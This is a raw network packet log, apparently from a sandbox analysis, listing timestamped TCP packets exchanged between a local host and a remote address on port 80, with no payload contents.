Dec 18, 2024 19:08:13.068463087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.068794966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.068836927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.069359064 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.069401026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.069525957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.069566965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.070297003 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.070346117 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.070458889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.070499897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.071275949 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.071329117 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.071490049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.071532965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.072243929 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.072364092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.072408915 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.073230028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.073271036 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.073292971 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.073333025 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.074172020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.074215889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.074398041 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.074438095 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.075280905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.075339079 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.075586081 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.075635910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.076067924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.076112032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.076162100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.076204062 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.077034950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.077095032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.077244043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.077285051 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.078020096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.078058958 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.078239918 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.078279018 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.078949928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.078989983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.079179049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.079216957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.079910994 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.079955101 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.080009937 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.080048084 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.080852985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.081065893 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.081110001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.081865072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.081907988 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.082482100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.082524061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.082763910 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.082804918 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.083120108 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.083159924 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.083745956 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.083784103 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.083826065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.083865881 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.084685087 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.084804058 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.084850073 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.085664988 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.085716963 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.085860014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.085901022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.086618900 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.086678028 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.087202072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.087243080 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.087584972 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.087627888 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.087790012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.087831020 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.088562012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.088705063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.088752985 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.089514017 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.089554071 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.089715004 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.089754105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.090459108 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.090502977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.090543032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.090581894 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.091420889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.091463089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.091731071 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.091787100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.092421055 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.092564106 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.092606068 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.093556881 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.093606949 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.094002962 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.094048023 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.094403982 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.094465971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.095213890 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.095257044 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.095377922 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.095397949 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.095417976 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.095446110 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.096210957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.096374035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.096381903 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.096420050 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.097162008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.097225904 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.097276926 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.097318888 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.098113060 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.098160982 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.098282099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.098336935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.099153042 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.099215031 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.100013018 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.100059986 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.100131989 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.100147963 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.100174904 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.100207090 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.101006985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.102032900 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.102047920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.102077007 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.102122068 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.103003979 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.103019953 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.103037119 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.103065968 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.103100061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.103900909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.104197025 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.104223967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.104274988 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.257283926 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.257340908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.257421970 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.257440090 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.257462025 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.257488012 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.257664919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.257715940 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.258404970 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.258455992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.258558989 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.258599043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.259329081 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.259376049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.259608984 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.259673119 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.259773970 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.259819984 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.260554075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.260600090 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.260997057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.261044025 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.261629105 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.261698961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.261768103 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.261823893 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.262448072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.262495995 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.262573957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.262609959 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.263431072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.263478994 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.263530016 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.263570070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.264379025 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.264451027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.264489889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.264533043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.265326023 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.265372992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.265466928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.265511036 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.266341925 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.266382933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.266473055 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.266524076 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.267308950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.267354012 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.267405033 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.267446041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.268270016 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.268311977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.268321991 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.268357992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.269182920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.269232988 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.269319057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.269359112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.270159006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.270200014 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.270236015 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.270277977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.271207094 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.271246910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.271286011 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.271332979 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.272083998 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.272125959 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.272202969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.272242069 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.273581028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.273624897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.273660898 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.273695946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.274167061 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.274207115 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.274211884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.274260998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.275052071 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.275093079 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.275213957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.275252104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.275927067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.275968075 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.276020050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.276061058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.276971102 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.277024031 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.277108908 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.277148008 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.278265953 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.278304100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.278532028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.278577089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.279047966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.279083014 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.279347897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.279390097 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.279748917 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.279791117 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.279944897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.279983997 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.280694008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.280735970 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.280777931 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.280816078 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.281652927 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.281701088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.281838894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.281883955 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.282711983 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.282753944 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.282783985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.282823086 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.283596992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.283643007 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.283723116 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.283761978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.284521103 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.284564018 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.284638882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.284681082 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.285535097 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.285573006 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.285655975 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.285696983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.286444902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.286489964 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.286540985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.286585093 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.287441969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.287503958 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.287626028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.287676096 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.288378000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.288444042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.288480043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.288528919 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.289334059 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.289381027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.289387941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.289441109 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.290311098 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.290354013 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.290472031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.290512085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.291276932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.291331053 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.291412115 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.291460037 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.292282104 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.292341948 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.292424917 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.292465925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.293157101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.293253899 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.293289900 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.293329954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.294114113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.294154882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.294244051 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.294279099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.295078039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.295118093 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.295180082 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.295238972 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.296036005 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.296077967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.296169996 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.296222925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.296993971 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.297033072 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.297182083 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.297231913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.297986031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.298026085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.298120022 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.298155069 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.298970938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.299011946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.299078941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.299143076 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.299873114 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.299918890 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.299968958 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.300010920 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.300854921 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.300899029 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.300919056 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.300966978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.301822901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.301872015 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.301886082 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.301927090 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.302748919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.302798033 CET	49720	80	192.168.2.5	31.41.244.11
